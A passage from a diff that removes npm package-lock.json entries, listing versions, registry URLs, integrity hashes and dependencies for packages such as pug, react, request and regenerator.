"pump": "^2.0.1", - "rc": "^1.1.6", - "simple-get": "^2.7.0", - "tar-fs": "^1.13.0", - "tunnel-agent": "^0.6.0", - "which-pm-runs": "^1.0.0" - }, - "bin": { - "prebuild-install": "bin.js" - } - }, - "node_modules/prebuild-install/node_modules/detect-libc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", - "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=", - "dev": true, - "optional": true, - "bin": { - "detect-libc": "bin/detect-libc.js" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/prelude-ls": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", - "dev": true, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/prepend-http": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", - "integrity": "sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/preserve": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz", - "integrity": "sha1-gV7R9uvGWSb4ZbMQwHE7yzMVzks=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/prettier": { - "version": "1.13.6", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-1.13.6.tgz", - "integrity": "sha512-p5eqCNiohWZN++7aJXUVj0JgLqHCPLf9GLIcLBHGNWs4Y9FJOPs6+KNO2WT0udJIQJTbeZFrJkjzjcb8fkAYYQ==", - "dev": true, - "bin": { - "prettier": "bin-prettier.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/pretty-bytes": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-4.0.2.tgz", - "integrity": "sha1-sr+C5zUNZcbDOqlaqlpPYyf2HNk=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/private": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", - "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", - "dev": true, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/process": { - "version": "0.11.10", - "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", - "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", - "dev": true, - "engines": { - "node": ">= 0.6.0" - } - }, - "node_modules/process-nextick-args": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-1.0.7.tgz", - "integrity": "sha1-FQ4gt1ZZCtP5EJPyWk8q2L/zC6M=", - "dev": true - }, - "node_modules/progress": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/progress/-/progress-1.1.8.tgz", - "integrity": "sha1-4mDHj2Fhzdmw5WzD4Khd4Xx6V74=", - "dev": true, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/promise": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", - "dev": true, - "dependencies": { - "asap": "~2.0.3" - } - }, - "node_modules/promise-inflight": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", - "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", - "dev": true - }, - "node_modules/promise-polyfill": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/promise-polyfill/-/promise-polyfill-6.1.0.tgz", - "integrity": "sha1-36lpQ+qcEh/KTem1hoyznTRy4Fc=", - "dev": true - }, - "node_modules/promise-retry": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-1.1.1.tgz", - "integrity": "sha1-ZznpaOMFHaIM5kl/srUPaRHfPW0=", - "dev": true, - "dependencies": { - "err-code": "^1.0.0", - "retry": "^0.10.0" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/prop-types": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", - "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", - "dev": true, - "dependencies": { - "loose-envify": "^1.3.1", - "object-assign": "^4.1.1" - } - }, - "node_modules/proto-list": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", - "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", - "dev": true - }, - "node_modules/prr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "dev": true - }, - "node_modules/pseudomap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true - }, - "node_modules/psl": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.7.0.tgz", - "integrity": "sha512-5NsSEDv8zY70ScRnOTn7bK7eanl2MvFrOrS/R6x+dBt5g1ghnj9Zv90kO8GwT8gxcu2ANyFprnFYB85IogIJOQ==", - "dev": true - }, - "node_modules/public-encrypt": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.0.tgz", - "integrity": "sha1-OfaZ86RlYN1eusvKaTyvfGXBjMY=", - "dev": true, - "dependencies": { - "bn.js": "^4.1.0", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "parse-asn1": "^5.0.0", - "randombytes": "^2.0.1" - } - }, - "node_modules/pug": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/pug/-/pug-3.0.1.tgz", - "integrity": "sha512-9v1o2yXMfSKJy2PykKyWUhpgx9Pf9D/UlPgIs2pTTxR6DQZ0oivy4I9f8PlWXRY4sjIhDU4TMJ7hQmYnNJc2bw==", - "dev": true, - "dependencies": { - "pug-code-gen": "^3.0.2", - "pug-filters": "^4.0.0", - "pug-lexer": "^5.0.0", - "pug-linker": "^4.0.0", - "pug-load": "^3.0.0", - "pug-parser": "^6.0.0", - "pug-runtime": "^3.0.0", - "pug-strip-comments": "^2.0.0" - } - }, - "node_modules/pug-attrs": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-3.0.0.tgz", - "integrity": "sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==", - "dev": true, - "dependencies": { - "constantinople": "^4.0.1", - "js-stringify": "^1.0.2", - "pug-runtime": "^3.0.0" - } - }, - "node_modules/pug-code-gen": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-3.0.2.tgz", - "integrity": "sha512-nJMhW16MbiGRiyR4miDTQMRWDgKplnHyeLvioEJYbk1RsPI3FuA3saEP8uwnTb2nTJEKBU90NFVWJBk4OU5qyg==", - "dev": true, - "dependencies": { - "constantinople": "^4.0.1", - "doctypes": "^1.1.0", - "js-stringify": "^1.0.2", - "pug-attrs": "^3.0.0", - "pug-error": "^2.0.0", - "pug-runtime": "^3.0.0", - "void-elements": "^3.1.0", - "with": "^7.0.0" - } - }, - "node_modules/pug-error": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-2.0.0.tgz", - "integrity": "sha512-sjiUsi9M4RAGHktC1drQfCr5C5eriu24Lfbt4s+7SykztEOwVZtbFk1RRq0tzLxcMxMYTBR+zMQaG07J/btayQ==", - "dev": true - }, - "node_modules/pug-filters": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-4.0.0.tgz", - "integrity": "sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==", - "dev": true, - "dependencies": { - "constantinople": "^4.0.1", - "jstransformer": "1.0.0", - "pug-error": "^2.0.0", - "pug-walk": "^2.0.0", - "resolve": "^1.15.1" - } - }, - "node_modules/pug-lexer": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-5.0.1.tgz", - "integrity": "sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==", - "dev": true, - "dependencies": { - "character-parser": "^2.2.0", - "is-expression": "^4.0.0", - "pug-error": "^2.0.0" - } - }, - "node_modules/pug-linker": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-4.0.0.tgz", - "integrity": "sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==", - "dev": true, - "dependencies": { - "pug-error": "^2.0.0", - "pug-walk": "^2.0.0" - } - }, - "node_modules/pug-load": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-3.0.0.tgz", - "integrity": "sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==", - "dev": true, - "dependencies": { - "object-assign": "^4.1.1", - "pug-walk": "^2.0.0" - } - }, - "node_modules/pug-parser": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-6.0.0.tgz", - "integrity": "sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==", - "dev": true, - "dependencies": { - "pug-error": "^2.0.0", - "token-stream": "1.0.0" - } - }, - "node_modules/pug-runtime": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-3.0.1.tgz", - "integrity": "sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==", - "dev": true - }, - "node_modules/pug-strip-comments": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz", - "integrity": "sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==", - "dev": true, - "dependencies": { - "pug-error": "^2.0.0" - } - }, - "node_modules/pug-walk": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-2.0.0.tgz", - "integrity": "sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==", - "dev": true - }, - "node_modules/pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", - "dev": true, - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/pumpify": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", - "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", - "dev": true, - "dependencies": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" - } - }, - "node_modules/punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", - "dev": true - }, - "node_modules/q": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", - "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=", - "dev": true, - "engines": { - "node": ">=0.6.0", - "teleport": ">=0.2.0" - } - }, - "node_modules/qs": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", - "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", - "dev": true, - "engines": { - "node": ">=0.6" - } - }, - "node_modules/query-string": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz", - "integrity": "sha1-u7aTucqRXCMlFbIosaArYJBD2+s=", - "dev": true, - "dependencies": { - "object-assign": "^4.1.0", - "strict-uri-encode": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/querystring": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", - "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", - "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.", - "dev": true, - "engines": { - "node": ">=0.4.x" - } - }, - "node_modules/querystring-es3": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz", - "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=", - "dev": true, - "engines": { - "node": ">=0.4.x" - } - }, - "node_modules/randomatic": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-3.0.0.tgz", - "integrity": "sha512-VdxFOIEY3mNO5PtSRkkle/hPJDHvQhK21oa73K4yAc9qmp6N429gAyF1gZMOTMeS0/AYzaV/2Trcef+NaIonSA==", - "dev": true, - "dependencies": { - "is-number": "^4.0.0", - "kind-of": "^6.0.0", - "math-random": "^1.0.1" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/randomatic/node_modules/is-number": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", - "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/randomatic/node_modules/kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/randombytes": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.5.tgz", - "integrity": "sha1-3ACaJGuNCaF3tLegrne8Vw9LG3k=", - "dev": true, - "dependencies": { - "safe-buffer": "^5.1.0" - } - }, - "node_modules/raw-body": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-1.1.7.tgz", - "integrity": "sha1-HQJ8K/oRasxmI7yo8AAWVyqH1CU=", - "dev": true, - "dependencies": { - "bytes": "1", - "string_decoder": "0.10" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/rc": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", - "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", - "dev": true, - "dependencies": { - "deep-extend": "^0.6.0", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "bin": { - "rc": "cli.js" - } - }, - "node_modules/rc/node_modules/deep-extend": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", - "dev": true, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/react": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", - "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", - "dev": true, - "dependencies": { - "create-react-class": "^15.6.0", - "fbjs": "^0.8.9", - "loose-envify": "^1.1.0", - "object-assign": "^4.1.0", - "prop-types": "^15.5.10" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-native-url-polyfill": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/react-native-url-polyfill/-/react-native-url-polyfill-1.1.2.tgz", - "integrity": "sha512-RPYwjW+4udnAf26xUCQP2dn4t2tnRFo3Ii4s/hy7Ivpe7xYtXp7CMVX505CR8X3p0f8NKmOJ4MQEFMMnbd/Y/Q==", - "dependencies": { - "buffer": "^5.4.3", - "whatwg-url-without-unicode": "8.0.0-1" - }, - "peerDependencies": { - "react-native": "*" - } - }, - "node_modules/react-native-url-polyfill/node_modules/buffer": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", - "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", - "dependencies": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" - } - }, - "node_modules/read-only-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-only-stream/-/read-only-stream-2.0.0.tgz", - "integrity": "sha1-JyT9aoET1zdkrCiNQ4YnDB2/F/A=", - "dev": true, - "dependencies": { - "readable-stream": "^2.0.2" - } - }, - "node_modules/read-pkg": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", - "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", - "dev": true, - "dependencies": { - "load-json-file": "^1.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/read-pkg-up": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", - "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", - "dev": true, - "dependencies": { - "find-up": "^1.0.0", - "read-pkg": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/readable-stream": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.1.tgz", - "integrity": "sha512-u6cxIvtbZcjq2HH71Zc/SRBUl7vbv62szIqmqqGpK3HY5J1c0kR/LUzKUpeoFgMzapvVAlBD+QY56ilWmHi4Nw==", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "safe-buffer": "~5.1.0", - "string_decoder": "~1.0.0", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/readable-stream/node_modules/string_decoder": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.2.tgz", - "integrity": "sha1-sp4fThEl+pehA4K4pTNze3SR4Xk=", - "dev": true, - "dependencies": { - "safe-buffer": "~5.0.1" - } - }, - "node_modules/readable-stream/node_modules/string_decoder/node_modules/safe-buffer": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.0.1.tgz", - "integrity": "sha1-0mPKVGls2KMGtcplUekt5XkY++c=", - "dev": true - }, - "node_modules/readdirp": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.1.0.tgz", - "integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "minimatch": "^3.0.2", - "readable-stream": "^2.0.2", - "set-immediate-shim": "^1.0.1" - }, - "engines": { - "node": ">=0.6" - } - }, - "node_modules/rechoir": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", - "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", - "dev": true, - "dependencies": { - "resolve": "^1.1.6" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/redent": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", - "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", - "dev": true, - "dependencies": { - "indent-string": "^2.1.0", - "strip-indent": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/reduce-css-calc": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz", - "integrity": "sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=", - "dev": true, - "dependencies": { - "balanced-match": "^0.4.2", - "math-expression-evaluator": "^1.2.14", - "reduce-function-call": "^1.0.1" - } - }, - "node_modules/reduce-css-calc/node_modules/balanced-match": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", - "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", - "dev": true - }, - "node_modules/reduce-function-call": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/reduce-function-call/-/reduce-function-call-1.0.2.tgz", - "integrity": "sha1-WiAL+S4ON3UXUv5FsKszD9S2vpk=", - "dev": true, - "dependencies": { - "balanced-match": "^0.4.2" - } - }, - "node_modules/reduce-function-call/node_modules/balanced-match": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", - "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", - "dev": true - }, - "node_modules/regenerate": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz", - "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==", - "dev": true - }, - "node_modules/regenerate-unicode-properties": { - "version": "8.2.0", - "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz", - "integrity": "sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==", - "dev": true, - "dependencies": { - "regenerate": "^1.4.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/regenerator-runtime": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", - "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" - }, - "node_modules/regenerator-transform": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.10.1.tgz", - "integrity": "sha512-PJepbvDbuK1xgIgnau7Y90cwaAmO/LCLMI2mPvaXq2heGMR3aWW5/BQvYrhJ8jgmQjXewXvBjzfqKcVOmhjZ6Q==", - "dev": true, - "dependencies": { - "babel-runtime": "^6.18.0", - "babel-types": "^6.19.0", - "private": "^0.1.6" - } - }, - "node_modules/regex-cache": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.3.tgz", - "integrity": "sha1-mxpsNdTQ3871cRrmUejp09cRQUU=", - "dev": true, - "dependencies": { - "is-equal-shallow": "^0.1.3", - "is-primitive": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/regex-not": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", - "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", - "dev": true, - "dependencies": { - "extend-shallow": "^3.0.2", - "safe-regex": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/regexpp": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-1.1.0.tgz", - "integrity": "sha512-LOPw8FpgdQF9etWMaAfG/WRthIdXJGYp4mJ2Jgn/2lpkbod9jPn0t9UqN7AxBOKNfzRbYyVfgc7Vk4t/MpnXgw==", - "dev": true, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/regexpu-core": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-2.0.0.tgz", - "integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=", - "dev": true, - "dependencies": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" - } - }, - "node_modules/regjsgen": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.2.0.tgz", - "integrity": "sha1-bAFq3qxVT3WCP+N6wFuS1aTtsfc=", - "dev": true - }, - "node_modules/regjsparser": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.1.5.tgz", - "integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=", - "dev": true, - "dependencies": { - "jsesc": "~0.5.0" - }, - "bin": { - "regjsparser": "bin/parser" - } - }, - "node_modules/regjsparser/node_modules/jsesc": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", - "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", - "dev": true, - "bin": { - "jsesc": "bin/jsesc" - } - }, - "node_modules/remove-trailing-separator": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.0.2.tgz", - "integrity": "sha1-abBi2XhyetFNxrVrpKt3L9jXBRE=", - "dev": true - }, - "node_modules/repeat-element": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.2.tgz", - "integrity": "sha1-7wiaF40Ug7quTZPrmLT55OEdmQo=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/repeat-string": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", - "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", - "dev": true, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/repeating": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", - "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", - "dev": true, - "dependencies": { - "is-finite": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/request": { - "version": "2.87.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.87.0.tgz", - "integrity": "sha512-fcogkm7Az5bsS6Sl0sibkbhcKsnyon/jV1kF3ajGmF0c8HrttdKTPRT9hieOaQHA5HEq6r8OyWOo/o781C1tNw==", - "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", - "dev": true, - "optional": true, - "dependencies": { - "aws-sign2": "~0.7.0", - "aws4": "^1.6.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.5", - "extend": "~3.0.1", - "forever-agent": "~0.6.1", - "form-data": "~2.3.1", - "har-validator": "~5.0.3", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.17", - "oauth-sign": "~0.8.2", - "performance-now": "^2.1.0", - "qs": "~6.5.1", - "safe-buffer": "^5.1.1", - "tough-cookie": "~2.3.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.1.0" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/request/node_modules/tough-cookie": { - "version": "2.3.4", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", - "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", - "dev": true, - "optional": true, - "dependencies": { - "punycode": "^1.4.1" - }, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/require-from-string": { - 